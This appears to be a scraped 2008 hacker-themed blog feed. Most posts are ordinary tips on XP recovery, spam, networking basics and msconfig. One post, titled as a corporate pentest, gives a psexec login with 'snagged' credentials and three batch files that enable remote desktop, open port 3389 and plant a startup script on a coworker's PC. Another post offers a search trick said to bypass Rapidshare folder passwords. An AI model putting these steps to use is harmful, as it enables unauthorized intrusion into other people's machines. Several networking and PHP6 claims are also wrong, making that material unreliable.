XP Security Basics

noreply@blogger.com (Net Geeky) — Mon, 23 Jun 2008 17:22:55 PDT

Let's say you we're hacked and all your data is gone,what to do?
I will be teaching you how to help yourself to recover from that corruption,and how to prevent that from happening again.

I. Recovering
II.Preventing

I.Recovering

I.I.Dangerous Viruses
I.II.Blue Screen
I.III.Error Messages
I.IV.Missing DLL
I.V.Minor viruses
I.VI.Very Dangerous Viruses

I.I.Dangerous Viruses

If you are reading this thread then you must be a member or guest on Greyhat-Security,that means you like downloading stuff,off the web. But you never know if the stuff you download are clean and have no viruses. But then one day,you download something and you reboot and then ,what do you know? Some files are created by themselves,some files can't be accessed. What to do? Go to Google and download an Anti-Virus,here are some links:
AVG-http://free.grisoft.com/
Avast-www.avast.com/eng/download-avast-home.htm
Kaspersky-www.kaspersky.com/downloads
NOD32-www.eset.com/download/

When you download,install,update and run a full scan. Your windows is now cleaned from viruses. To make sure,scan again.

Then download Spyware Doctor here:
http://www.pctools.com/spyware-doctor/
Download,Install,Update and run a full scan. Your windows is now cleaned from Spywares.

Then download a malware remover:
http://www.softpedia.com/get/Antivirus/M...nner.shtml
Download,Install,Update and run a full scan. Your windows is now cleaned from malwares.

Then download a trojan remover:
http://www.softpedia.com/get/Antivirus/T...over.shtml
Download,Install,Update and run a full scan. Your windows is now cleaned from trojans.

YOUR WINDOWS IS NOW CLEAN.

Now when you finish the above,use Disk Cleanup to delete anything unwanted. And then run Disk Defragmenter. Your windows is now back to normal.

I.II.Blue Screen
Blue screen a.k.a Blue screen of death is an error that windows xp has. It is mostly there when you have a system error.And that blue screens saves the day. It helps you prevent any damage to your computer by shutting it down. How to recover from Blue screens:
Get your windows xp installation cd Stash it inside your CD-Rom and restart computer. And boot from the cd. When a blue window i think will come up click R Type in Quote:
CHKDSK /R

and enter. When the repair process is done type in Quote:
BOOTCFG

.
When that is finished restart and keep your finger on F8. When a black windows comes up with option select Quote:
Last Known Good Configuration

Your windows is now recovered.

I.III.Error messages
Some error messages show at startup and some when starting an application. I will talk about both. For the error messages at startup is probably a missing DLL,I will talk about that later. And sometimes it a unknown message sent to a window component like autoexec.bat or command.com(this also will be discussed in the Missing DLL part) For starting an application sometimes it's the setup file,maybe a file wasn't completely installed use Reinstall in the Add/Remove Programs,but some programs don't have Reinstall so just Uninstall and install again,if the problem persists then it is the download link. Try downloading from another source.
Like if you are going to download for example LimeWire.Don't download from http://www.download.com but from http://www.limewire.com .
Always better to download from original site.

I.IV.Missing Dlls
When something bad happened a DLL is corrupted. Dll's are mostly in System32. So find your corrupted DLL(To find the corrupted DLL take a look at the startup erro,you should see the dll name there. When you find your DLL go to :
http://www.dll-files.com/
And search for it. When you find it download and replace it with the old DLL.

Then download registry booster 2 here:
http://www.liutilities.com/products/registrybooster/
And run a full scan. That should clear things out. Then go to RUN and type drwatson.exe, drwtsn32.exe or dwwin.exe depends on your windows version. And follow this Wiki:

Quote:
The information obtained and logged by Dr. Watson is the information needed by technical support personnel to diagnose a program error for a computer running Windows. A text file (Drwtsn32.log) is created whenever an error is detected, and can be delivered to support personnel by the method they prefer. A crash dump file can also be created, which is a binary file that a programmer can load into a debugger. Dr. Watson can be made to generate more exacting information for debugging purposes if the appropriate symbol files are installed and the symbol search path (environment variable) is set. When a program error occurs in Windows, the system searches for a program error handler. A program error handler deals with errors as they arise during the running of a program. If the system does not find a program error handler, the system verifies that the program is not currently being debugged and considers the error to be unhandled. The system then processes unhandled errors by looking in the registry for a program error debugger for which Dr. Watson is the default. A third-party debugger can also be used in place of Dr. Watson. The Watcom C compiler includes a similar crash-analysis tool named "Dr. Watcom"

I.V.Minor Viruses
When you have small,spammy,annoying viruses a system restore might be your best bet.

I.V1.Very Dangerous Viruses.
Very dangerous viruses cannot be cleaned with a Anti-Virus,but only with a format. Here I will teach you how to format:
First make a backup and stack all your needed files inside.
Then stash your Windows Xp installation cd inside the CD-Rom.
Restart and boot from CD.
A blue window will appear and look down you will see different
options.Don't click any,be patient and you will see that the cd is
running some files you will see name(like sound device...)When that is
done you will see options,Click enter.
A new window will appear.You can see all your drives/partition.Choose
your system drive , or the drive that you want to format and click
"D"(sometimes you only have C:/ and no D:/ so the step before is not
needed).New window,press L.
You are back to the previous screens,but instead of C:/ \ D:\ you have
sizes ( e.g 1515MB ),highlight the size and click C.New window,click
enter.
Previous Window.You will have something that looks like this : “C: Partition1..."Highlight and press enter.
New window choose NTFS(this is just my recommendation),there will be a 4 options i think, quick and full i don't know,but don't choose quick choose the other one and click enter. That will format. Than there is the configuring it's up to you. When you finish configuring install the windows drivers and that's it a new windows.

II.Preventing
So you just been saved from the viruses and now you don't want to make the same mistakes again? Here is how.
Always use the internet using a proxy , it will be almost impossible to connect to you. Then change IPs every now and then.
Tick your firewall on. And every 2 weeks update your windows. Always use an Anti-Virus. Check your download links. Always use fake Email-Address , and Fake Name. Disable telnet/NetBIOS. Never download hacking tools that you think might be viruses. Prevent yourself from making batches and saving them as something.bat( because if they are destructive you don't know when it will
automatically launch. DO NOT USE P2P for softwares,maybe for music. If a friend tells you I created a similar website to Myspace/Gmail/Hotmail.. Don't accept it's probably phishing. Make sure that you never log on MSN at your friends house as it might be keylogged.

Corporate Windows Pentest

noreply@blogger.com (Net Geeky) — Mon, 23 Jun 2008 17:23:44 PDT

In most corporate environments all the XP boxes are on a domain, which means their credentials are just flying around all over. To crack these passwords is difficult because of the kereberos encryption scheme, however most people's personal passwords, to things like myspace, etc, will not be encrypted, and sometimes these passwords are the same as their domain credentials.

Traditionally on machines in a corporate network RDP is enabled but, if it isn’t then you can use psexec to get it set up.

http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx

Open the cmd prompt by hitting start run, then typing cmd then hitting enter.

Type this into the cmd prompt(make sure you are in the directory that psexec is in when you do this, you could add psexec to the system path, if you got in the habit of using it:

psexec \\machinename –u username cmd

It will prompt you for a password which hopefully you have previously snagged. Username should be the username not the word. The cmd in the command above is saying to execute a cmd prompt, which will appear on your machine as a standard cmd, but it is linked to their machine. To verify you are connected to their machine type hostname and make sure their machine name is shown, not yours. PSEXEC has an option for uploading a file when you use it but, I haven't had the best of look with it. What I do is use the net command to map a drive to your computer from the other computer. I.E. :

Net use r: \\yourmachinename\public /persistant:no

Will map the drive to your computers shared folder named public. So now you can just type.(Remember this is in the remote machines cmd not your own)

Z:

So you can run a silent install of vnc for some sweet gui action or if you know no one is actually in front of the computer you can create these three bat files. And run first.bat.

Make three .bat files in the same directory on a thumb drive:

first.bat

code:

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0
mkdir c:\batter
copy second.bat c:\batter
copy third.bat c:\batter
cd %USERPROFILE%\Start Menu\programs\Startup\start.bat
copy c:\batter\second.bat start.bat
shutdown -r -t 0

second.bat

code:

netsh firewall set portopening tcp 3389 "RemoteDesktop"
cd c:\batter
third.bat

third.bat

code:

cd %USERPROFILE%\Start Menu\programs\Startup\
del start.bat

This enables remote desktop on that machine and you can now remote in.

E-Book: Hacking-The_Art_of_Exploitation

noreply@blogger.com (Net Geeky) — Mon, 23 Jun 2008 17:01:32 PDT

Its a really nice book, i thought it would be nice to share. Hacking is the art of creative problem solving, whether used to find an unconventional solution to a difficult problem or to exploit holes in sloppy programming. Many people call themselves hackers, but few have the strong technical foundation that a hacker needs to be successful. Hacking: The Art Of Exploitation explains things that every real hacker should know. While many hacking books show you how to run other people’s exploits without really explaining the technical details, Hacking: The Art Of Exploitation introduces you to the spirit and theory of hacking as well as the science behind it all. By learning some of the core techniques and clever tricks of hacking, you will begin to understand the hacker mindset. Once you learn to think like a hacker, you can write your own hacks and innovate new techniques, or you can thwart potential attacks on your system.

Hacking Basics Part 1

noreply@blogger.com (Net Geeky) — Mon, 23 Jun 2008 16:53:40 PDT

INTRODUCTION

I. What is hacking?

If you use the term 'hacking' in public areas, thoughts that will run through the minds of the people around you will be: "People who break into computers. People who steal private information. Criminals, Terrorists.", and things along those lines. This is because the term 'hacking' has been twisted by ignorance. The same ignorance that informs us of 'accurate' news every day. The same ignorance that lies about a term so pure just to make it self seem stronger. This ignorance has been fed into the minds of the people around us, almost spoon-fed. The public is a mindless pawn. It will believe whatever this ignorance feeds it. I say we take a stand. I say we wage war with ignorance.

Why?, you may ask. Why would all of these people twist something like that? It's because it was US who embraced the Information Age. It was US who felt right, understood and accepted, and at home through our phone lines. Not them. They were too busy feeding ignorance to the ignorant. They would rather pollute a term and stereotype all hackers as criminals than actually hear our sides of the stories or see our views on everything.

II. What is a hacker?

To me, a hacker is anyone willing to push farther and farther for the gain of knowledge and for the experience. This doesn't have to be in the technology area necessarily, however the term 'hacker' in this tutorial will be directly associated with computers.

Among hacker ethics, there are two types of hackers: white hats and black hats. Some even consider the 'gray hat', which is in between. A white hat is what a hacker truly i. They are in it for the knowledge, the experience, and because the Internet feels like a real home; like a place where they belong. They feel as though they know everyone on the Internet, even though they will probably never meet in person. Black hats, on the other hand, are not real hackers. They are people who will do everything just to be destructive. They are one reason that caused the pollution of the term 'hacker'. Many black hats are script kiddies, or 'skiddies'. This is a term used to identify people who download programs and use them for what they want to do. All they typically know is what to 'click' and what to 'type', but not how everything works. They will use these programs to cause damage and they won't even know what is going on. All they know is where to click to 'hack'.

III. Were do I start?

You may be a beginner hacker. You may be completely new to this, but that is ok. That is the reason why this tutorial was born. As long as you are willing to learn, we are willing to teach. But do note, you must 'crawl before you can walk'. What I am saying is that you need to learn the basics first. This means you SHOULDN'T join a website and immediately ask someone to tell you how to hack a website or a computer. Most likely, you will get no reply you are looking for, and you will end up getting looked down upon.

By the end of this tutorial, you should have a basic understanding of the basics. Feel free to ask questions if you get confused on anything though. Once you understand the basics, everything else will come to you easily.

THE BASICS

I. Networking

Millions of people surf the web each day, however, a small percentage of those people know how the Internet works.

First off, realize that the web and the Internet are two SEPARATE things. The web is all the content on the Internet that can be viewed, modified, shared, etc. through HTTP (Port 80). We will talk about ports later. The Internet is all of the networks in the world and all the ports put together.

-LANs and WANs

There are two types of networks, LANs and WANs. A LAN (Local Area Network) is a network in one area. LANs are typically on the same internet connection (a T1 or T3, depending on how rich the bastards are), and have things such as file and printer sharing enabled. A WAN (Wide Area Network) is a group of inter-connected LANs. Ultimate WAN is the Internet. Think of it like this: All the computers in your school make up a LAN. That LAN may share different drives for students and/or teachers to access and may also have numerous printers shared. Also, that LAN may have a few smaller LANs within it (i.e. A computer lab and a library). All the schools' LANs make up your school district's WAN.

-TCP/IP

You probably use the web a lot, as do milions of others. But do you know what happens internally, or how you are able to use the Internet?

The fact is that there are many different things that occur just when you check your email, make a blog post, or even visit a website. Most of the responsibility of your ability to use the Internet lies with TCP/IP.

While I'm not going to give you a full tutorial of TCP/IP (you can view one here.) simply because I don't want to confuse you, I will explain the basics. TCP/IP (Transmission Control Protocol/Internet Protocol) is all the different processes that occur when the Internet is accessed.

When a program transfers data between your computer and the Internet, it uses TCP/IP. First, it sends the request to your TCP/IP layer. Your TCP/IP layer then takes the data, breaks it down into packets, transfers it through the modem to the cables, and sends it to the destination. The receiving machine's TCP/IP layer then takes the data off the cable, compiles the packets into user-readable data, and then displays it. All of this is done in a matter of seconds.

-IP Addresses

Fingerprints. Everyone has them. They help identify criminals and help to solve cases. The familiarity of this term mostly makes you think of that, but in the technology world, you should consider computer fingerprints.

IP Addresses are computer fingerprints. They function just like human fingerprints in a way. They help to solve computer crimes.

But there is a way that human fingerprints and computer fingerprints differ: If you find someone's fingerprint, you can't simply track them down and attack them. With a computer fingerprint, this can be accomplished.

IP Addresses are a set of four numbers ranging from 0 to 255 that are separated by periods (i.e. 65.72.73.81). There are two types of IP Addresses: static and dynamic. Static IPs (or external IPs) never change. They are assigned to connections by ISPs. Dynamic IPs (or internal IPs) are changeable, and they are assigned to devices on a LAN. Note that most computer IPs begin with '192.168' (i.e. 192.168.1.1)

With an IP, someone can find where you live, your network information (ISP, hostname, etc.), and they can even attack you (in cyber terms, not physically, (unless they come to your house O_o))

-Ports

Ports are how all your data transactions are organized. Without ports, you would get data errors, overflows, etc..

There are two types of ports: physical and virtual. Physical ports are on the back of your computer. They require human/physical interaction to be modified. Virtual ports, however, do not require human interaction, although many interactions involve a human.

There are 65, 535 ports. Ports from 0 to 1023 are not allowed for use by programmers. These ports come pre-defined on each computer. They are for common protocols such as HTTP (web), FTP (File Transferring), and Telnet. After ports 1023, the rest can be used for pretty much anything (even more than one protocol/app, as long as it is one at a time.

II. Your Operating System

The operating system of your computer is how you interact with your computer. The layer you see is a Graphical User Interface (GUI). Under that, there is the shell and then the kernel. The GUI layer sends commands to the shell, which is the interface (with no graphics) of the kernel, which is basically the 'brain' of your computer. The kernel then executes the command and sends output back to the shell, which sends it to the GUI, which displays it. This is done by the scripts of your operating system and the scripts of whatever program/tool you are using.

I.E.: You double-click on Notepad. Your GUI layer calls up your shell and says, "Hey, this kid wants to open Notepad.". The shell relays the message with the proper command (which is 'start notepad') to the kernel, which runs through all the scripts required to open Notepad, and then opens it. It calls the shell and says, "Done. Tell the GUI layer to open such and such scripts to display it interactively.". They shell relays this to the GUI, which displays an interactive Notepad window.

Ready for PHP6 ?

noreply@blogger.com (Net Geeky) — Wed, 11 Jun 2008 02:16:05 PDT

Are you ready to try the new features in PHP6 ?.

If so here i will cover some of its new feautes:

Register Globals: Register Globals was first used in PHP3, and it is been a vital component of PHP till version 6, as it has been removed from version 6 as its considered a security risk.

Say goodbye to the long variables!: Long variables like HTTP_*_VARS instead you will be start using those old ones like COOKIE_$ , SESSION_$, POST_$.

And Say goodbye to the Magic Quotes: Magic Quotes has been discarded in version 6 "This feature has been DEPRECATED and REMOVED as of PHP 6.0.0. Relying on this feature is highly discouraged". Ofcourse this will affect magic_quotes ، magic_quotes_sybase

And Again Say goodbye to SafeMode: For the fist while i was like wtf! how come there is no SafeMode!!. Well it has been replaced with open_basedir which is supposed to have more features than SafeMode.

No more GD 1 and Freetype 1 : As both became kinda old, both will be removed in PHP6.

ifsetor: Before PHP6, we used to use:

$var = (isset($var) ? $var : 'default');
In PHP6 the it will be like:

$var = ifsetor($var, 'default'); 
or

function ifsetor(&$var, $or) {
    return (isset($var) ? $var : $or);
}

The Truth About Computer Rental

noreply@blogger.com (Net Geeky) — Sun, 01 Jun 2008 09:23:44 PDT

Computer rental is sometimes necessary for people with serious business or personal obligations. When you are on to an important project, responsible for speaking at a business meeting, or perhaps making a presentation, you may suddenly need computer equipment that you do not normally have.

There are many ways to obtain a computer if you need one, and one of the most common ways to do so without having to fork out cash in full is to try a computer rental. Acquiring a computer this way has a lot of benefits, that you might be unaware of, so check out why it is a good idea to use a computer rental, even if it’s not your first time owning one.

Many places online as well as stores in your local hometown area have the option for computer rental. In fact you can also rent other utilities for your house, apartment or dorm pretty much like furniture or even household appliances like a washing machine, dryer and dishwasher. The advantages for doing this are numerous, and most people are surprised to learn that computer rental is so commonly adopted by many. In fact, you should scout and shop around for the best deals each store has to offer, given the competitive market.

Almost all stores have incentives to use their electronics rental service. One of the best is that if you’ve got a few credit problems, or if you’re trying to establish credit, then this is ideal. There are no credit checks, and you don’t even have to put up collateral to obtain it. All you need is a couple of personal references, and you must be currently employed in order to qualify for a computer rental. 90 days same as cash is an option. Interest is not added because payments are not required; all you’ll be paying for is the tax on your purchase.

The payment period is usually pretty flexible. Stores will work out a set payment plan that is ideal for you. Monthly, weekly, or even every other week is a viable payback time period. Hidden fees are not included because they’re typically figured into the payment plan.

Another benefit is that you will get the computer the day you order it. Also, stores today don’t carry off the wall brands that don’t work half the time, if at all. All reputable stores offer a guaranteed satisfaction, or you’ll get your money back on the payments for the computer rental you’ve made. Make sure to look at how long the offer is for your particular purchase.

The key benefit of getting a home or office computer this manner is that you can always give a go at the policy of trying it before you decide to buy it. With a computer rental you can choose a particular model, try it out for a while, and if you think it's for you, you can always purchase it. It is definitely a better option compared to buying one outright, and then finding out that it’s not what you really need or want. A computer rental is a win-win option, whatever way you look at it.

Cost Of Spam And Why Use Anti-Spam Filter

noreply@blogger.com (Net Geeky) — Sun, 01 Jun 2008 01:58:23 PDT

E-mail is now being abused. The flow of spam on the Internet is the proof. It is annoying to download hundreds of disgusting spam emails into the inbox looking for some legitimate messages. Not only you waste your valuable time to delete junk emails by hand, you also waste your money as each spam message in your inbox takes precious kilobytes of bandwidth you paid for. In addition, spam messages can contain viruses, which can infect your computer system, and hidden tracking codes, which work as soon as you click on the message and let the spammer know that your email address is valid. With all that said, it would be great to delete the messages that you don’t want to receive beforehand and launch your email client to pull down only good emails. Anti-spam software can do this for you. It helps you fight against annoying spam.

There is a wide choice of anti-spam filters available on the Internet. The common services or features they offer are:

• Whitelist and Blacklist. The decision whether an email message is spam or good is taken based on the sender’s email address. The whitelist contains “friendly” email addresses, and the blacklist contains potential spammers, or simply people you don’t want to communicate with.

• Filtering based on the message subject or content. Some words or phrases are met in spam emails more often than others. These are usually vulgar or adult words (sometimes too offending). Thus, filtering based on a keyword is rather helpful.

• Virus scanning. There is possibility that spam email contains a virus in the attachment. Certain anti-spam programs allow you block emails with various suspicious attachments.

• Automatic spam detection. Some anti-spam filters can check inbound email and delete the emails they consider as spam automatically at a regular basis.

• Email recovering. Some spam blockers provide you with the ability to move spam emails to a quarantine folder and keep them for a fixed number of days. In addition, there is the possibility to recover an email from the trash if you need it.

So, with the great features and benefits that antispam software offers, you can now easily block the majority of spam emails.

How to Choose the right Conference Call Service

noreply@blogger.com (Net Geeky) — Sat, 31 May 2008 10:23:13 PDT

For businesses and organizations that use conference calls frequently, it is important to choose the right conference call service. Today, businesses are going global. Deals are made via conference calls; employees and employees who work off-site communicate through conference calls; meetings or seminars are held using conference calls.

Conference calling offers several options. Thus, when you are looking several conference call services, you should o have a criteria and a clear idea of what your company's or organization's needs are.

Would you like the option of an operator-assisted call or instant conferencing? If your company regularly conduct formal meetings, an operator-assisted call may be the best option. However, if your organization tends to be informal even during meetings or have spontaneous conferences, an instant conferencing option may be the ideal choice. A third option you can consider is web conferencing. Although this kind of conference call is gaining popularity, it will only work for your organization if the people who participate in your calls have the necessary software needed for the call as well as networking capabilities and reliable Internet connection.

You also need to consider if you want additional options such as roll-calls of participants wherein the names of individuals are announced as they join. You also need to consider if you need a conference call option that will let you conduct a moderated question-and-answer session after the conference. If you decide to go with web conferencing, would you want an option that will allow you to show presentations such as slides or movies?

After each conference call, do you want a recording of the call so that other people can listen to it? This conference call feature is particularly useful if some people missed the call. A recording of the conference can also help those who were present to listen to it again and refresh their memory.

Lastly, you also need to consider how much the different conference call services are charging. If your call is long and you used several sophisticated options for the call, the fees could be high. Thus, before you sign up for a conference call service, make sure that the company gives you a complete or comprehensive pricing structure.

Getting Rid Of Email SPAM

noreply@blogger.com (Net Geeky) — Sat, 31 May 2008 09:33:59 PDT

There is no single way to stop spam, nor is any email account bullet-proof from it. Spammers will always be there, and it'll just be a matter of time before a new email account gets bombarded with it. The most effective way to get rid of spam is to make spammers' tasks in obtaining your email address difficult. Here is how to effectively get rid of spam, or at least reduce the chances of getting it.

Do you ever wonder how spam gets into your mailbox? Well, a lot of spammers use "bruteforce" or send a huge volume of their spam to random email addresses. Most of these spammers send mail using lists of accounts gathered from the Internet. The majority of the spam you get come from the websites where you use your email address as your means of identity. These may include sites or services that you've previously visited or signed up for. You may also have posted your email address on blogs and forums.

Make it Difficult

To make your email address hard to find, you must avoid posting your email on free-to-access websites. If you really need to post your address though, disguise it. For example, if your email is "johnsmith@smith.com", write it out as "john smith [at] smith [dot] com". A person who reads this disguised version will still be able to understand it, but automatic programs that spammers use to harvest emails will not be able to detect it.

Dupe it

Most services on the Internet, especially free ones, require that you provide an email address as a means of identification or contact line to inform you about certain matters. You can't tell if that website sells their email list to spammers or not, despite claims of having secure "privacy policies" and the sort, so it is better to use a "disposable" email address.

It is common to have more than one email address today, so simply make an extra one and use it when signing up for services. Avoid using your work or personal email address. Create a new email account using free email providers like Gmail, Yahoo!, or Hotmail. When have a separate account, if ever it gets bombarded with spam, it is a different account, and you won't get annoyed deleting it from your main email. When you feel you don't need it anymore, you can either leave it alone or deactivate it. You don't even need to bother checking this email account for new messages, since you only provide the address to websites and forums as a log-in, and not to your friends or work contacts.

Mind the Fine Print and Check Boxes

To further minimize spam in your email, make sure to read the fine print. Oftentimes, you unknowingly consent to spam being sent to you because you didn't read the policy of the services you sign up for. You will know when there is a possibility you will be receiving spam if you read something about third-parties being provided with your personal information (such as email address) to offer you promos or newsletters. If you do read anything of this nature, think twice. You can either continue and sign up for the service or search the net for a different site that provides the same service. (If you do sign up, you may want to use your disposable address.)

Often, you do not need to find a different site just to avoid spam. You can usually opt out of those "promos" or "free offers" by unchecking those check boxes that are checked by default. These check boxes are usually small or hidden. In the end, read through the policy, no matter how long and technical it may seem, and be careful of those check boxes - don't just check anything or everything.

The Spam Trap

No matter how careful you are, and how sophisticated anti-spam measures are, spam may somehow still find its way into your email. The best thing is to select all of those junk messages and dump them directly into your trash folder. As a general rule, never open or even REPLY to spam messages. Doing that may scream to the spammer that your email account is real, therefore triggering more spam to be sent to you. It is better to be safe - if you don't know the sender, then it probably is spam.

Signs that an Email is Indeed Spam

You do not have to open a message to determine if it is spam. Usually, you can easily tell it is just by looking at the subject of the message. Here are some of common signs that you should look out for:

* The word "Free" is there.

* It says you've won something (money, gadgets, etc.), even if you don't remember signing up for a promo.

* It contains something to do with sex, prescription drugs, or jewelry.

* Bad grammar or spelling.

* Weird characters or letters.

* Job offers.

* Discount or wholesale items being sold.

The Dangers of Spam

You may think that spam is but a simple marketing attempt to sell you something, but spam can actually be dangerous. A seemingly harmless message may contain malware: either a virus, a trojan, or spyware that can put you and your data at risk.

Most modern viruses spread through email through an attachment. Once activated, it can steal sensitive information from your computer and use your computer to spread more viruses. Spyware can track your activities online, like the websites you visit, the bank accounts you access, and a lot more.

A newer threat that is also used in spam is phishing. Phishing is a method where a spammer designs a message to appear as a authentic-looking one, pretending to be from a bank, an online shopping site, or money transfer services. It aims to steal log-on information and other personal details by exploiting the computer system, usually through XSS or cross-site scripting to make it look authentic.

Spam today is not only an annoyance, but it also carries potentially harmful elements. Common sense and the use of anti-spam measures will not only lessen the junk in your mailbox, but also protect your privacy on the Internet.

How To Reducing Email SPAM In Your Inbox

noreply@blogger.com (Net Geeky) — Sat, 31 May 2008 09:32:14 PDT

Spam first made its mark in the world in 1978 when Gary Thuerk, Marketing Director of Digital Equipment Technology sent an email solicitation to 400 employees at Arpnet. The email created a few sales, but it also created fierce backlash. Today, more than 180 billion spam messages are sent out each day to over 1 billion Internet users. This staggering statistic makes it clear why spam is such a major problem for Internet users. Many companies are working hard to solve the spam problem, but the first step to stopping spam starts with the consumer.

By following the steps below, Internet users can reduce the number of spam email messages they receive in their inbox.

Before an Invasion of Spam

Software:

Choose email providers that offer built-in spam protection services. Look for service providers that promote a high success rate of blocking spam email.

Spam Filters:

Spam is a cat and mouse game. Spammers are constantly looking for ways to bypass filters. Regularly check your spam filter software if you're using non-web based email to make sure it is up to date. If you're using web-based email,m make sure your webmail provider is working hard to protect you from spam.

Improve Security:

A firewall may be one of the most important applications on a computer. It acts as a barrier between hackers and the computer, and prevents access to unauthorized information.

Limit Email Dispersal:

When performing online transactions, thoroughly scan the page for any checked and unchecked boxes. Some companies will word these boxes in a way to increase the likelihood of a consumer opting-in to their email campaigns.

Shop From Known Vendors:

Shopping from known vendors can greatly reduce the threat of spam email. Many companies are guilty of selling email addresses to third parties, which are then used for spam. The company's privacy policy is supposed to list their intended uses of your personal information, such as whether they will sell your email address to third parties. Consumers can check the Better Business Bureau's and the FTC's (Federal Trade Commission) websites for lists of reputable companies and for lists of violators.

Once Spam Becomes a Problem

Internet users should avoid opening spam. It should be immediately deleted. Pay close attention to the senders email address as most spammers use deceptive subject lines intended to promote opening. If opened, avoid attachments, which may contain viruses, and do not purchase goods or donate to charities solicited in the message. Many spam email messages will have unsubscribe links at the bottom of the message, as dictated by the CAN-SPAM Act.

If consumers find themselves with an inbox full of spam, they can also report the spam emails to their Internet Service Provider.

There are numerous companies and organizations designed to regulate the Internet and protect users. But, it is important that Internet users are informed of the threats of spam. By following the stated suggestions and by not falling victim to the ploys of spammers, users can help put spammers out of business, and keep their inbox free of junk email.

Toshiba has Launched the Smallest HD Camera Ever

noreply@blogger.com (Net Geeky) — Wed, 21 May 2008 23:10:48 PDT

Toshiba has Launched the Smallest HD Camera Ever

So you think the current crop of HD camcorders are pretty small? Not necessarily. Toshiba has launched the world’s smallest 3CCD camera head, the IK-HD1. This cube-shaped camera can deliver 1920×1080 pixel vdeo at 30 FPS, all from its 1.6 inch body and super featherlight 65 grams.

You can control the settings using controller box, which outputs the video via a choice of connections, such as digital HD-SDI, analog RGB, and component. There is an RS 232C serial interface and the option to adjust white balance manually or automatically.

The IK-HD1 is not set to compete with the consumer HD cameras from the likes of Sony or Panasonic, and it won’t be on sale for regular consumers. Toshiba states that it will be ideal for uses in homeland security, TV broadcasts and scientific imaging purposes.

Personally, I think it will serve extremely well as a surveillance camera used by detectives or police.

Easy ways to Measure CPU / Computer temperature

noreply@blogger.com (Net Geeky) — Wed, 21 May 2008 20:23:24 PDT

How HOT is your computer? Well, you can put a hot babe wallpaper and it will for sure look hot. Getting more technical - How Hot is your CPU? Wallpaper logic is out of the window and some serious temperature measuring of CPU, Hard drive and motherboard is inn.

Measuring and monitoring CPU temperature is not a critical or must do step for all computer users. By default, fans in the computer keep things cool inside. In some cases, you still want to measure temperature of CPU, hard drive etc. So, here goes 3 Easy tips to do:

1. Motherboard Monitor -This tool can sense temperature from CPU, hard drive, GFx and motherboard. It gets information from the sensor chips on your Motherboard in your Windows System Tray.

It can also sense Fan speeds and protect hardware from over-heating. Supported with user configuration, it can even shut down the fan in an event of over-heating. Motherboard Monitor is compatible with Windows 95,98, ME, NT, 2000 and XP. Download & More Info

2. Core temp - As the name suggest, this small utility allows you to measure temperature of your computer’s core - CPU. Besides WINXP, this tool also works on Windows Vista. It can show temperature of each core of your processor.

You can see real time CPU temperature with the help of this utility. It also has a logging feature, allowing a you to easily record the temperature of processor(s) over any period of time, then the data can be easily transferred into an excel datasheet for easy graphing. Download & More Info

3. SpeedFan - It can show temperatures, voltages and fan speeds. It can also show S.M.A.R.T. data from the hard disk. It provides this information by accessing digital sensors available on your computer.

If your hardware allows it and you can configure SpeedFan to change fan speeds depending on system temperatures, thus reducing overall noise. Main windows provides all the possible details of speed and temperature. To access other information like S.M.A.R.T. data of your hard drive, check other tabs of the utility.

A neat Rapidshare hack

noreply@blogger.com (Net Geeky) — Mon, 19 May 2008 17:27:28 PDT

Rapidshare, is the leading file hosting Giant, it offers a protected folders for its users to store their private stuff on it, and its protected by a password...

Guess what?

You can bypass the password protection through performing a search string like:

''RapidShare: site:rapidshare.com 1-Click Webhosting'' ''http://rapidshare.com/users''

All one line with quotas ("").

You can perform this search through Google, or Yahoo <---- Yahoo would give a better results on this one..
Have Fun :)

Using MSCONFIG in the proper way

noreply@blogger.com (Net Geeky) — Mon, 19 May 2008 15:38:42 PDT

Using MSCONFIG the proper way Part 1

Note: this applys to all windows

Have you ever suffered from how you windows is running slow, how it is taking for ever to boot up?.
Well here is a quick fix for that, its a magic tool created by Microsoft, its called MSCONFIG.

Most people know that the more programs you have running on your computer at once, the more likely it is that your computer will either run slowly or even crash. What most people don't know is that every time you boot your computer a whole mess of "hidden" programs load in the background. Some of these hidden programs are essential, but most aren't. Turning off some of these hidden programs can significantly increase your computer's performance and reliability.

It is really useful if you want to control what is running when your PC starts, and its always has a good boost on your windows speed.

To use msconfig it you will need to:

1-Go to Start --> Run
2-Type in the Run Box msconfig

3- Click on the "Start up" tab

Now here comes the magic, as you do have control over what is running when the windows starts up, un-checking the check box means the program will not start when the windows boots up. Once you done, and click OK or Apply, msconfig will ask you to re-start your windows.

And the same can be implemented from the "Services" tab, the services tab in msconfig will list all of the Services on your windows machine, you can stop i do use it alot to trouble shoot windows problems (etc: viruses, spywares, system carsh...).

Done! with part 1, hope that was useful info.
